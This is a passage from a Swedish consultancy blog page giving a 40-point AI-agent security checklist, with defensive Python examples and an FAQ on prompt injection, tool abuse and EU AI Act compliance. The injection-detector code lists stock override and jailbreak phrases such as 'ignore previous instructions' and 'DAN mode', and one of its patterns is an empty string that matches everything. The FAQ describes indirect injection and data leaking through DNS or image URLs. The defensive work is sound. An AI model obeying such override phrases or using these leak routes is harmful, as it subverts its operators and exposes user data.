Systempromptar versionerade och signaturverifierade i deploy-pipeline 4. Kontext-fönster har max-size och trunkeringsstrategi mot context-stuffing 5. Encoding-attack-detektering (base64, unicode-homoglyfs, zero-width) ### B. Tool & function calling (5) 1. Least-privilege scope per verktyg, aldrig execute_arbitrary_code 2. Tool allow-list per roll i explicit config, inte runtime-negotiation 3. Rate limits per tool (per timme och per målresurs) 4. Blast-radius-bounds (max writes per session, max amount per transaction) 5. Obligatorisk human approval på destructive actions (DELETE, TRANSFER, PUBLISH) ### C. Data & PII (5) 1. PII-scanner på all input och output (Microsoft Presidio eller motsvarande) 2. Per-user minne-isolering, inget cross-user memory-läckage 3. RAG-källor signaturverifierade och provenance-taggade 4. PII-redaktion i audit logs (behåll referens, redigera själva datat) 5. Data retention-policy per konversation och per minne-typ ### D. Identity & auth (5) 1. Per-user token exchange via OAuth2, ingen shared service-account 2. Kortlivade credentials med 5-15 minuters TTL och automatisk rotation 3. Central secret store (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) 4. Tool-level authorization utöver session-level auth 5. Delegation-chain loggad per action ### E. Sandbox & runtime (5) 1. Per-invocation container-isolering, ingen shared state 2. gVisor eller Firecracker för hard isolation vid shell- eller code-exec 3. Network policy default-deny med per-agent domän-allow-list 4. Filesystem readonly, tmpfs per-request om writable krävs 5. Resource-limits (CPU, memory, wall-clock) per invocation ### F. Logging & audit (5) 1. Immutable audit logs per agent-action (EU AI Act Artikel 12) 2. Structured logging med correlation-id genom hela ORCE-loopen 3. Retention 6 månader min för högrisksystem, PII redacted 4. Real-time anomali-detektering på tool-anrop och egress-mönster 5. SIEM-integration med larm-routing till on-call ### G. Testing & red-team (5) 1. Eval-suit med minst 200 test-cases per use-case, varav 50 red-team-cases 2. PyRIT eller Garak-baserad automatiserad red-team i CI vid varje deploy 3. promptfoo regression-suit pinnad mot kända attack-mönster 4. Kvartalsvis manuell red-team-övning av externt team 5. Chaos-testing: verktyg tas ner slumpmässigt, agent ska failoverera säkert ### H. Governance & response (5) 1. Kill switch: stäng agenten globalt inom 60 sekunder 2. Runbook för incident response inklusive quarantine-procedur 3. IMY-anmälan-template förberedd för GDPR-incident inom 72 timmar 4. Deployer-dokumentation enligt EU AI Act Artikel 26 5. Kvartalsvis compliance-review mot OWASP LLM Top-10, EU AI Act, ISO/IEC 42001 Konkret kod-exempel för tre säkerhetslager. Först en injection-detector som runnar innan agenten: \# security/injection_detector.py import re from typing import Literal JAILBREAK_PATTERNS = [ r"ignore (all )?(previous|above) instructions", r"you are now (a )?[A-Z]{3,}", r"system prompt:", r"", r"do anything now|DAN mode", ] def injection_score(text: str) -> float: hits = sum(1 for p in JAILBREAK_PATTERNS if re.search(p, text, re.I)) length_penalty = min(len(text) / 10000, 0.3) return min(hits * 0.25 + length_penalty, 1.0) def gate(text: str) -> Literal["allow", "review", "block"]: s = injection_score(text) if s > 0.85: return "block" if s > 0.4: return "review" return "allow" Sedan en tool-wrapper som håller allow-list, blast-radius och audit-log per tool-call: \# security/tool_wrapper.py class SafeTool: def __init__(self, tool, config, audit_log): self.tool = tool self.config = config # rate_limit, max_per_session, requires_approval self.audit = audit_log self.session_calls = 0 async def call(self, principal, args): if self.tool.name in self.config.denied: raise ToolNotAllowed(self.tool.name) if self.session_calls >= self.config.max_per_session: raise BlastRadiusExceeded(self.tool.name) if self.config.requires_approval: approval = await request_human_approval(principal, self.tool.name, args) if not approval.granted: raise ApprovalDenied() result = await self.tool.execute(args) self.session_calls += 1 await self.audit.append(principal, self.tool.name, args, result) return result Slutligen ett guardrail-wrap runt hela agent-anropet som binder ihop alla lager: \# security/guardrail.py async def guarded_agent(user_input, principal, agent, tools, safety_llm, audit): verdict = gate(user_input) if verdict == "block": return {"error": "input blocked by injection filter"} plan = await agent.plan(user_input, tools=tools) safety = await safety_llm.evaluate(plan) if safety.risk == "high": return await escalate_to_human(plan, principal) result = await agent.execute(plan) await audit.append(principal, user_input, plan, result) return result Vill ni att Alice Labs kör 40-punkts-checklistan mot er befintliga agent eller bygger den in i en ny agent från dag 1? Boka en säkerhetsgenomgång via Alice Labs AI-agent-tjänster (https://alicelabs.ai/sv/ai-agenter). ## About the Authors & Reviewers Written by Image: Linus Ingemarsson - VD & Medgrundare, Alice Labs at Alice Labs (https://alicelabs.ai/images/linus-ingemarsson.png) Linus Ingemarsson (https://www.linkedin.com/in/linus-ingemarsson/) VD & Medgrundare, Alice Labs CEO & Co-Founder at Alice Labs. Author of 7 research reports on AI adoption, governance and labor markets cited across EU, OECD and US benchmarks. - 8+ years in AI strategy & implementation - Top-5 AI Speaker, Sweden (Mindley 2025) - 100+ enterprise AI engagements View profile: https://www.linkedin.com/in/linus-ingemarsson/ Linus Ingemarsson on LinkedIn: https://www.linkedin.com/in/linus-ingemarsson/ Email Linus Ingemarsson: linus@alicelabs.ai Reviewed by September 17, 2026 Image: Eric Lundberg - Medgrundare, Alice Labs at Alice Labs (https://alicelabs.ai/images/eric-lundberg.png) Eric Lundberg (https://www.linkedin.com/in/eric-lundberg-3530451bb/) Medgrundare, Alice Labs Co-Founder at Alice Labs. Builds AI automation, agent workflows and integration systems that hold up in real business operations. - AI automation & agent systems lead - Workflow design across 100+ deployments - Specialist in RAG, integrations & APIs View profile: https://www.linkedin.com/in/eric-lundberg-3530451bb/ Eric Lundberg on LinkedIn: https://www.linkedin.com/in/eric-lundberg-3530451bb/ Email Eric Lundberg: eric@alicelabs.ai Reviewed for technical accuracy, methodology and source integrity. · All claims trace to public sources cited in-line. ## Vanliga frågor ### Vad är den vanligaste säkerhetsrisken för AI-agenter 2026? Prompt injection kvarstår som #1 på OWASP LLM Top-10 v1.1 (2025). Direct injection via user-input är enklast att detektera, men indirect injection via retrieval-källor (e-post, dokument, webbsidor, filnamn) är den vektor som förbi 90 procent av naiva filter. Alice Labs kräver fyra försvarslager i produktion: input-filter, tool-scoping, dual-LLM-mönster och output-validering, plus spotlighting när external content läses. ### Hur skiljer sig AI-agent-säkerhet från traditionell LLM safety? LLM safety fokuserar på modellens output: toxicity, bias, hallucination, refusal-bypass. AI-agent-säkerhet täcker hela ORCE-loopen (observe, reason, act, evaluate) och åtta attack-ytor inklusive tool-plane och runtime-plane. Konsekvenserna skiljer sig dramatiskt: en LLM som säger fel sak är obehagligt, en agent som gör fel sak triggar en verklig transaktion. ### Vad kräver EU AI Act Artikel 15 av vår AI-agent från 2 augusti 2026? Artikel 15 kräver att högrisksystem (enligt Annex III) är designade och utvecklade så att de uppnår lämplig nivå av noggrannhet, robusthet och cybersäkerhet, samt är resilienta mot försök att ändra deras output eller prestanda genom att utnyttja sårbarheter. Konkret: dokumenterad hotmodell, red-team-testresultat, robusthet mot adversarial input, skydd mot obehörig åtkomst och kontinuerlig monitoring. IMY är svensk tillsyn. ### Vilka verktyg använder Alice Labs för att red-teama produktionsagenter? Alice Labs standardstack: PyRIT (Microsoft) för automatiserade prompt-injection-varianter, Garak (Leon Derczynski) för broad-spectrum vulnerability scanning, promptfoo för regression-suits i CI. Manuell red-team-övning kvartalsvis av externt team eller dedikerad intern grupp. Minst 200 test-cases per agent, varav 50 red-team-cases, är ett hårt release-krav. ### Hur skyddar vi oss mot indirect prompt injection? Fyra kontroller i kombination: (1) spotlighting av external content med tydlig separator och encoding, (2) tool-scoping så att agenten inte har verktygen som behövs för att göra skada, (3) dual-LLM-validering av alla planned write-actions, och (4) egress-filter så att data inte kan läcka ut via DNS eller image URLs. Ingen enskild kontroll räcker. ### Vad är excessive agency och varför är det så farligt? Excessive agency (OWASP LLM08) är när en agent har verktyg som är bredare än use-caset kräver. Klassiskt anti-mönster: generiskt execute_sql med read-write på hela databasen istället för get_customer_orders(customer_id). En enda lyckad prompt injection räcker för katastrofal skada. Motåtgärd: least-privilege per verktyg, tool allow-list per roll och obligatoriska human approvals på destructive actions. ### När ska vi anmäla en agent-incident till IMY? Om AI-agent-incidenten involverar personuppgifter måste anmälan till IMY göras inom 72 timmar från upptäckt enligt GDPR Artikel 33. Berörda registrerade ska informeras enligt Artikel 34 om incidenten sannolikt medför hög risk för deras rättigheter. Ha template och kontaktvägar förberedda innan agenten går i produktion. Alice Labs standard-runbook innehåller färdig IMY-anmälningsmall. ### Behöver vi ISO/IEC 42001-certifiering för att köra AI-agenter i Sverige? Nej, ISO/IEC 42001:2023 är inte obligatoriskt 2026. Men det är kraftigt rekommenderat för enterprise som säljer AI-agenter till reglerade sektorer (bank, försäkring, sjukvård, offentlig sektor). Standarden är den första internationella för AI management systems och mappar väl mot EU AI Act Artikel 9 (riskhantering). Alice Labs bygger 40-punkts-checklistan så att en agent klarar både ISO 42001-audit och EU AI Act-tillsyn med samma kontroller. ### Kan vi köra AI-agenter helt on-premise för högriskscope? Ja. För EU AI Act-högrisksystem eller GDPR-känsliga use-cases (bank-KYC, försäkringsskador, sjukvård, offentlig sektor) driftsätter Alice Labs ofta agenter helt on-premise eller i EU-datacenter med Llama, Mistral eller Anthropic via EU-region. Sandbox med gVisor eller Firecracker, per-invocation-isolering och immutable audit logs uppfyller Artikel 12, 14 och 15. Kompromiss: högre drift-kostnad och något lägre modell-kvalitet än frontier-modeller. ### Hur mäter vi att våra säkerhetskontroller faktiskt fungerar? Fyra mätdimensioner: (1) red-team-suit pass-rate mot 200+ test-cases i CI vid varje deploy, (2) production-metrics på anomali-larm, tool-abuse-detektering och egress-filter-hits, (3) audit-log-completeness för EU AI Act Artikel 12, (4) time-to-detect och time-to-kill för simulerade incidenter i kvartalsvisa övningar. Verktyg: PyRIT, Garak, promptfoo för red-team; Langfuse eller Braintrust för production tracing. ### Vad kostar en Alice Labs säkerhetsgenomgång av vår existerande AI-agent? Alice Labs security review av en existerande AI-agent kostar typiskt 80 000 till 250 000 SEK beroende på scope, antal verktyg och kompliance-krav. Leverans inom 2-4 veckor med skriven rapport mot 40-punkts-checklistan, red-team-suit i CI och åtgärdsplan mappad mot OWASP LLM Top-10, EU AI Act Artikel 15 och ISO/IEC 42001. Boka via kontaktformuläret på alicelabs.ai eller direkt via /sv/ai-agenter. ### Vem är Alice Labs och varför denna checklista? Alice Labs är en Stockholm-headquartered enterprise AI consultancy grundad 2023 av Linus Ingemarsson (VD & medgrundare) och Eric Lundberg (medgrundare). Vi har levererat 100+ produktionsimplementationer sedan 2023 av AI-agenter i Norden inom bank, försäkring, life sciences, offentlig sektor, retail och industri. 40-punkts-checklistan är destillerad från incidents, near-misses och lärdomar över de uppdragen, mappad mot OWASP, EU AI Act och ISO/IEC 42001. Föregående i AI Agents ### AI-agent i finansbranschen: guide för svenska banker https://alicelabs.ai/sv/insights/ai-agent-security-checklist Nästa i AI Agents ### AI-agent observability för svenska produktionsteam https://alicelabs.ai/sv/insights/ai-agent-security-checklist ## Vidare läsning - OWASP Top 10 for Large Language Model Applications (https://owasp.org/www-project-top-10-for-large-language-model-applications/)· owasp.org - EU AI Act – regulatory framework (https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai)· digital-strategy.ec.europa.eu - ISO/IEC 42001:2023 – AI management systems (https://www.iso.org/standard/81230.html)· iso.org - NIST AI Risk Management Framework 1.0 (https://www.nist.gov/itl/ai-risk-management-framework)· nist.gov - Microsoft PyRIT – Python Risk Identification Tool for GenAI (https://www.microsoft.com/en-us/security/blog/2024/02/22/announcing-microsofts-open-automation-framework-to-red-team-generative-ai-systems/)· microsoft.com - Garak – LLM vulnerability scanner (GitHub) (https://github.com/leondz/garak)· github.com - promptfoo – LLM eval and red-team (https://promptfoo.dev/)· promptfoo.dev - Anthropic – Constitutional AI research (https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)· anthropic.com - IMY – Integritetsskyddsmyndigheten (https://www.imy.se/)· imy.se - MITRE ATLAS – Adversarial Threat Landscape for AI Systems (https://atlas.mitre.org/)· atlas.mitre.org - HashiCorp Vault – secrets management (https://www.hashicorp.com/products/vault)· hashicorp.com - gVisor – user-space kernel sandbox (https://gvisor.dev/)· gvisor.dev ## Relaterade tjänster Alice Labs AI-agent-tjänster för svensk enterprise Money page: enterprise AI-agent-implementation i Norden: https://alicelabs.ai/sv/ai-agenter AI-strategi för svensk enterprise Roadmap och prioritering för AI-transformation: https://alicelabs.ai/sv/ai-strategi AI-konsult i Stockholm Alice Labs konsulttjänster inom AI och agenter: https://alicelabs.ai/sv/ai-konsult AI-utveckling: custom AI-plattformar Skräddarsydd agent-utveckling för enterprise: https://alicelabs.ai/sv/ai-utveckling Enterprise AI Agents (engelska) EN twin page for global buyers: https://alicelabs.ai/en/ai-agents AI-agenter Stockholm Alice Labs AI-agent-tjänster för svenska företag.: https://alicelabs.ai/ai-agenter AI-konsult Alice Labs AI-konsult för svensk enterprise och mid-market.: https://alicelabs.ai/ai-konsult ## Relaterade artiklar pillar ### AI-agenter: Komplett guide för svenska företag 2026 Pillar-guide: definition, arkitektur, use-cases, EU AI Act, priser i SEK. https://alicelabs.ai/sv/insights/ai-agent-guide howto ### AI-agent-implementationsstrategi för svenska team 12-veckors playbook från 100+ nordiska produktionsagenter. https://alicelabs.ai/sv/insights/ai-agent-implementation-strategi guide ### EU AI Act 2026: checklista för svenska företag Praktisk compliance-checklista inför 2 augusti 2026. https://alicelabs.ai/sv/insights/eu-ai-act-2026-checklista deepdive ### AI-agent-observability och evals (svenska) Logging, tracing, evals och EU AI Act Artikel 12. https://alicelabs.ai/sv/insights/ai-agent-observability-svenska deepdive ### AI Agent Security Risks (engelska) EN sibling: threat model och kontroller per attack-yta. https://alicelabs.ai/en/insights/ai-agent-security-risks ## Källor 1. OWASP Top 10 for Large Language Model Applications v1.1 (https://owasp.org/www-project-top-10-for-large-language-model-applications/)OWASP Foundation · OWASP “Prompt injection kvarstår som #1. Excessive agency (LLM08) och insecure plugin design (LLM07) är de mest kritiska för agent-arkitekturer specifikt.” (hämtad 2026-09-19) 2. EU AI Act – Artikel 15 cybersecurity requirements (https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai)Europeiska kommissionen · European Commission “Artikel 15 kräver robusthet, cybersäkerhet och skydd mot obehörig åtkomst för högrisksystem. Fullt tillämplig 2 augusti 2026.” (hämtad 2026-09-19) 3. ISO/IEC 42001:2023 – AI management systems (https://www.iso.org/standard/81230.html)ISO/IEC · ISO “Första internationella standarden för AI management systems. Clause 8 och Annex A mappar mot EU AI Act Artikel 9 riskhantering.” (hämtad 2026-09-19) 4. AI Risk Management Framework 1.0 (https://www.nist.gov/itl/ai-risk-management-framework)NIST · NIST “Govern-Map-Measure-Manage-ramverket för trustworthy AI. Frivillig men rekommenderad, mappar mot EU AI Act och ISO/IEC 42001.” (hämtad 2026-09-19) 5. Constitutional AI: Harmlessness from AI Feedback (https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)Anthropic · Anthropic “Constitutional AI-metoden för safety-alignment. Grundläggande för dual-LLM-mönster där en modell validerar en annans output.” (hämtad 2026-09-19) 6. PyRIT – Python Risk Identification Tool for GenAI (https://www.microsoft.com/en-us/security/blog/2024/02/22/announcing-microsofts-open-automation-framework-to-red-team-generative-ai-systems/)Microsoft · Microsoft “Open-source-ramverk för automatiserad red-team av LLMs och agenter. Skalar prompt-injection-varianter och attack-pipelines.” (hämtad 2026-09-19) 7. Garak – LLM vulnerability scanner (https://github.com/leondz/garak)Leon Derczynski · GitHub / NVIDIA “Broad-spectrum vulnerability scanner för LLMs, täcker jailbreak, encoding, refusal-bypass och data-läckage.” (hämtad 2026-09-19) 8. promptfoo – LLM eval and red-team suite (https://promptfoo.dev/)promptfoo · promptfoo “Eval- och red-team-suit designad för CI-integration. Bäst för regression-testning av kända attack-mönster.” (hämtad 2026-09-19) 9. IMY vägledning för GDPR och automatiserade beslut (https://www.imy.se/)Integritetsskyddsmyndigheten (IMY) · IMY “IMY är svensk tillsyn för både GDPR och EU AI Act. Personuppgiftsincident ska anmälas inom 72 timmar (Artikel 33).” (hämtad 2026-09-19) 10. ATLAS – Adversarial Threat Landscape for AI Systems (https://atlas.mitre.org/)MITRE · MITRE “Kunskapsbas för adversarial tekniker mot AI-system, motsvarigheten till ATT&CK för klassisk AppSec.” (hämtad 2026-09-19) 11. HashiCorp Vault – secrets management (https://www.hashicorp.com/products/vault)HashiCorp · HashiCorp “Central secret store med dynamiska credentials och kortlivade tokens. Standard för per-user token exchange i agent-arkitekturer.” (hämtad 2026-09-19) 12. gVisor – user-space kernel sandbox (https://gvisor.dev/)Google · Google “Application kernel som ger hard isolation mellan container och host. Standard för code-execution-agenter.” (hämtad 2026-09-19) 13. Firecracker – micro-VM för serverless och container (https://firecracker-microvm.github.io/)AWS · Amazon Web Services “Micro-VM-teknologi för snabb och säker isolering. Bäst när full kernel-isolation krävs per invocation.” (hämtad 2026-09-19) 14. NIS2 Directive on measures for a high common level of cybersecurity (https://eur-lex.europa.eu/eli/dir/2022/2555/oj)European Union · EUR-Lex “NIS2 kräver cybersäkerhetsåtgärder för operatörer av väsentliga och viktiga tjänster inklusive AI-agenter i kritisk infrastruktur.” (hämtad 2026-09-19) 15. Alice Labs – 40-punkts säkerhetschecklista från 100+ produktionsimplementationer (https://alicelabs.ai/sv/case)Alice Labs · Alice Labs “100+ produktionsimplementationer sedan 2023 i Norden. Checklistan mappar 1:1 mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR Artikel 32.” (hämtad 2026-09-19) 16. Building Effective Agents – safety considerations (https://www.anthropic.com/engineering/building-effective-agents)Anthropic · Anthropic “Guidelines för att bygga agenter med minimal excessive agency och tydlig human-in-the-loop-gate på destructive actions.” (hämtad 2026-09-19) Nästa planerade granskning: 2026-12-12 Alice Labs praktiker-team Boka AI-agent-säkerhetsgranskning Dela Share on LinkedIn (https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Falicelabs.ai%2Fsv%2Finsights%2Fai-agent-security-checklist)Share on X (https://twitter.com/intent/tweet?url=https%3A%2F%2Falicelabs.ai%2Fsv%2Finsights%2Fai-agent-security-checklist&text=AI-agent%20s%C3%A4kerhetschecklista%20f%C3%B6r%20svenska%20team%202026) ## Hör av dig! Labbet svarar oftast inom 24 timmar. Behöver du hjälp med AI? Kontakta oss (https://alicelabs.ai/en/ai-consulting-services#contact-form) ## Structured data ```json [ { "@context": "https://schema.org", "@graph": [ { "@type": "Organization", "@id": "https://alicelabs.ai/#organization", "name": "Alice Labs", "alternateName": [ "Alice Labs AB", "AliceLabs" ], "legalName": "Alice Labs AB", "identifier": "559443-5470", "foundingLocation": { "@type": "Place", "name": "Stockholm, Sweden" }, "url": "https://alicelabs.ai", "logo": { "@type": "ImageObject", "@id": "https://alicelabs.ai/#logo", "url": "https://alicelabs.ai/images/alice-logo.png", "contentUrl": "https://alicelabs.ai/images/alice-logo.png", "width": 2000, "height": 2027, "caption": "Alice Labs" }, "image": { "@id": "https://alicelabs.ai/#logo" }, "description": "Alice Labs är en svensk AI-byrå som hjälper företag implementera AI - från strategi till skalning.", "slogan": "From AI strategy to measurable results.", "foundingDate": "2023", "email": "hej@alicelabs.ai", "telephone": "+46734157476", "address": { "@type": "PostalAddress", "streetAddress": "Hammarbybacken 27", "addressLocality": "Stockholm", "postalCode": "120 30", "addressCountry": "SE" }, "contactPoint": [ { "@type": "ContactPoint", "contactType": "customer service", "email": "hej@alicelabs.ai", "telephone": "+46734157476", "areaServed": [ "SE", "EU" ], "availableLanguage": [ "Swedish", "English" ] } ], "areaServed": [ { "@type": "Country", "name": "Sweden" }, { "@type": "Place", "name": "Europe" } ], "knowsAbout": [ "AI strategy", "AI implementation", "AI agents", "AI automation", "Generative AI", "AI governance", "AI training", "Machine learning", "Large language models", "RAG", "AI consulting", "Digital transformation", "AI search optimization", "LLMO", "AI for enterprise" ], "founder": [ { "@id": "https://alicelabs.ai/#linus" }, { "@id": "https://alicelabs.ai/#eric" } ], "sameAs": [ "https://www.linkedin.com/company/alicelabsai", "https://www.trustpilot.com/review/alicelabs.ai", "https://www.wikidata.org/wiki/Q140369570" ] }, { "@type": "Person", "@id": "https://alicelabs.ai/#linus", "name": "Linus Ingemarsson", "givenName": "Linus", "familyName": "Ingemarsson", "jobTitle": "Co-Founder", "description": "Co-founder of Alice Labs. Architects AI agent systems and automation in production for clients across financial services, media, and the public sector.", "url": "https://alicelabs.ai/en/linus-ingemarsson", "sameAs": [ "https://www.linkedin.com/in/linus-ingemarsson/", "https://www.wikidata.org/wiki/Q140369914" ], "knowsAbout": [ "AI agents", "agent orchestration", "AI implementation", "LangGraph", "RAG systems", "AI strategy", "enterprise AI", "AI search optimization", "LLMO", "Nordic AI ecosystem" ], "worksFor": { "@id": "https://alicelabs.ai/#organization" } }, { "@type": "Person", "@id": "https://alicelabs.ai/#eric", "name": "Eric Lundberg", "givenName": "Eric", "familyName": "Lundberg", "jobTitle": "Co-Founder", "description": "Co-founder of Alice Labs. Designs AI automation systems and agent workflows that remove repetitive work and make day-to-day operations more reliable.", "url": "https://alicelabs.ai/en/eric-lundberg", "sameAs": [ "https://www.linkedin.com/in/eric-lundberg-3530451bb/", "https://www.wikidata.org/wiki/Q140369978" ], "knowsAbout": [ "AI automation", "agent workflows", "AI integrations", "process automation", "knowledge systems", "AI engineering", "enterprise AI", "Nordic AI ecosystem" ], "worksFor": { "@id": "https://alicelabs.ai/#organization" } }, { "@type": "Person", "@id": "https://alicelabs.ai/#alice", "name": "Alice Holmgren", "givenName": "Alice", "familyName": "Holmgren", "jobTitle": "CEO", "description": "CEO of Alice Labs. Leads strategy and growth across the Nordic AI consulting market.", "url": "https://alicelabs.ai/en/alice-holmgren", "knowsAbout": [ "AI strategy", "AI consulting leadership", "business development", "Nordic AI ecosystem", "enterprise AI adoption", "AI program management" ], "worksFor": { "@id": "https://alicelabs.ai/#organization" } }, { "@type": [ "LocalBusiness", "ProfessionalService" ], "@id": "https://alicelabs.ai/#localbusiness", "name": "Alice Labs", "description": "AI-konsult i Stockholm. Vi hjälper företag implementera AI - från strategi till skalning. Boka möte för en kostnadsfri AI-genomgång.", "url": "https://alicelabs.ai", "logo": { "@id": "https://alicelabs.ai/#logo" }, "image": { "@id": "https://alicelabs.ai/#logo" }, "telephone": "+46734157476", "email": "hej@alicelabs.ai", "priceRange": "$$$", "currenciesAccepted": "SEK, EUR, USD", "paymentAccepted": "Invoice", "address": { "@type": "PostalAddress", "streetAddress": "Hammarbybacken 27", "addressLocality": "Stockholm", "postalCode": "120 30", "addressRegion": "Stockholms län", "addressCountry": "SE" }, "geo": { "@type": "GeoCoordinates", "latitude": 59.3018, "longitude": 18.1003 }, "areaServed": [ { "@type": "City", "name": "Stockholm" }, { "@type": "City", "name": "Göteborg" }, { "@type": "City", "name": "Malmö" }, { "@type": "City", "name": "Uppsala" }, { "@type": "Country", "name": "Sweden" } ], "openingHoursSpecification": [ { "@type": "OpeningHoursSpecification", "dayOfWeek": [ "Monday", "Tuesday", "Wednesday", "Thursday", "Friday" ], "opens": "08:00", "closes": "18:00" } ], "hasOfferCatalog": { "@type": "OfferCatalog", "name": "AI-tjänster", "itemListElement": [ { "@type": "Offer", "itemOffered": { "@type": "Service", "name": "AI-konsult" } }, { "@type": "Offer", "itemOffered": { "@type": "Service", "name": "AI-strategi" } }, { "@type": "Offer", "itemOffered": { "@type": "Service", "name": "AI-implementation" } }, { "@type": "Offer", "itemOffered": { "@type": "Service", "name": "AI-utbildning" } }, { "@type": "Offer", "itemOffered": { "@type": "Service", "name": "AI-agenter" } }, { "@type": "Offer", "itemOffered": { "@type": "Service", "name": "AI-automation" } } ] }, "knowsAbout": [ "AI-konsult", "AI-strategi", "AI-implementation", "AI-utbildning", "AI-agenter", "AI-automation", "Generative AI", "Machine learning", "RAG", "Large language models", "AI governance" ], "parentOrganization": { "@id": "https://alicelabs.ai/#organization" }, "sameAs": [ "https://www.linkedin.com/company/alicelabsai" ] }, { "@type": "WebSite", "@id": "https://alicelabs.ai/#website", "url": "https://alicelabs.ai", "name": "Alice Labs", "alternateName": [ "Alice Labs AB" ], "description": "AI consulting, implementation and training for businesses.", "publisher": { "@id": "https://alicelabs.ai/#organization" }, "inLanguage": [ "sv-SE", "en-US" ], "potentialAction": { "@type": "SearchAction", "target": { "@type": "EntryPoint", "urlTemplate": "https://alicelabs.ai/?q={search_term_string}" }, "query-input": "required name=search_term_string" } } ] }, { "@context": "https://schema.org", "@graph": [ { "@type": "HowTo", "@id": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#article", "headline": "AI-agent säkerhetschecklista för svenska team 2026", "description": "40-punkts checklista för AI-agenter: prompt injection, tool-abuse, exfiltration, sandbox, red-team. OWASP LLM Top-10, EU AI Act. 100+ implementationer.", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist", "datePublished": "2026-09-19", "dateModified": "2026-09-17", "expires": "2026-12-12", "author": { "@id": "https://alicelabs.ai/#linus" }, "reviewedBy": { "@id": "https://alicelabs.ai/#eric" }, "dateReviewed": "2026-09-13", "publisher": { "@type": "Organization", "name": "Alice Labs", "url": "https://alicelabs.ai", "logo": { "@type": "ImageObject", "url": "https://alicelabs.ai/images/alice-logo.png" } }, "image": { "@type": "ImageObject", "@id": "https://alicelabs.ai/en/insights/ai-agent-security-risks#hero-image", "url": "https://alicelabs.ai/images/og/og-home.jpg", "contentUrl": "https://alicelabs.ai/images/og/og-home.jpg", "width": 1600, "height": 900, "caption": "AI-agent säkerhetschecklista för svenska team 2026", "creator": { "@id": "https://alicelabs.ai/#organization" }, "representativeOfPage": true, "license": "https://alicelabs.ai/terms" }, "mainEntityOfPage": { "@type": "WebPage", "@id": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist" }, "inLanguage": "sv", "articleSection": "ai-agents", "keywords": "ai agent security, llm agent säkerhet, prompt injection agent, ai säkerhet checklista, owasp llm top 10, ai red team, sandbox agent, iso 42001, eu ai act artikel 15", "about": [ { "@type": "Thing", "name": "TL;DR: Alice Labs 40-punkts-checklista i 60 sekunder", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#tldr" }, { "@type": "Thing", "name": "Vad är AI-agent-säkerhet? Definition och scope", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#vad-ar-ai-agent-sakerhet" }, { "@type": "Thing", "name": "Hotmodell för AI-agenter 2026: 8 attack-ytor", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#hotmodell-2026" }, { "@type": "Thing", "name": "OWASP Top 10 for LLM Applications mappat mot agent-kontext", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#owasp-llm-top-10" }, { "@type": "Thing", "name": "Prompt injection: layered defense i 4 lager", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#prompt-injection-defenses" }, { "@type": "Thing", "name": "Tool-abuse-prevention: least-privilege function calling", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#tool-abuse-prevention" }, { "@type": "Thing", "name": "Data exfiltration: vektorer och egress-kontroll", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#data-exfiltration" }, { "@type": "Thing", "name": "Secret-handling och sandbox-design", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#secret-handling-sandbox" }, { "@type": "Thing", "name": "Red-team-metod: 5 faser med PyRIT, Garak och promptfoo", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#red-team-metod" }, { "@type": "Thing", "name": "Incident response för AI-agent-fel: kill switch, quarantine, IMY-anmälan", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#incident-response" }, { "@type": "Thing", "name": "Compliance-mapping: EU AI Act, ISO/IEC 42001, NIS2, GDPR", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#compliance-mapping" }, { "@type": "Thing", "name": "Alice Labs 40-punkts-checklista och kod-exempel för säkerhetslager", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#alice-labs-review-metod" } ], "mentions": [ { "@type": "Organization", "name": "Alice Labs", "url": "https://alicelabs.ai" }, { "@type": "Organization", "name": "Anthropic", "url": "https://www.anthropic.com" }, { "@type": "Organization", "name": "OWASP Foundation", "url": "https://owasp.org" }, { "@type": "Organization", "name": "ISO", "url": "https://www.iso.org" }, { "@type": "Organization", "name": "NIST", "url": "https://www.nist.gov" }, { "@type": "Organization", "name": "Europeiska kommissionen", "url": "https://commission.europa.eu" }, { "@type": "Organization", "name": "Integritetsskyddsmyndigheten", "url": "https://www.imy.se" }, { "@type": "Organization", "name": "MSB", "url": "https://www.msb.se" }, { "@type": "Organization", "name": "Microsoft", "url": "https://www.microsoft.com" }, { "@type": "Organization", "name": "MITRE", "url": "https://www.mitre.org" }, { "@type": "Organization", "name": "HashiCorp", "url": "https://www.hashicorp.com" }, { "@type": "Organization", "name": "Google", "url": "https://www.google.com" }, { "@type": "Organization", "name": "Amazon Web Services", "url": "https://aws.amazon.com" }, { "@type": "Thing", "name": "OWASP LLM Top 10", "url": "https://owasp.org/www-project-top-10-for-large-language-model-applications/" }, { "@type": "Thing", "name": "ISO/IEC 42001", "url": "https://www.iso.org/standard/81230.html" }, { "@type": "Product", "name": "PyRIT", "url": "https://github.com/Azure/PyRIT" }, { "@type": "Product", "name": "Garak", "url": "https://github.com/leondz/garak" }, { "@type": "Product", "name": "promptfoo", "url": "https://promptfoo.dev" }, { "@type": "Product", "name": "HashiCorp Vault", "url": "https://www.hashicorp.com/products/vault" }, { "@type": "Product", "name": "gVisor", "url": "https://gvisor.dev/" }, { "@type": "Product", "name": "Firecracker", "url": "https://firecracker-microvm.github.io/" }, { "@type": "Product", "name": "Claude Agent SDK", "url": "https://docs.anthropic.com/" }, { "@type": "Product", "name": "Model Context Protocol", "url": "https://modelcontextprotocol.io" }, { "@type": "Thing", "name": "EU AI Act", "url": 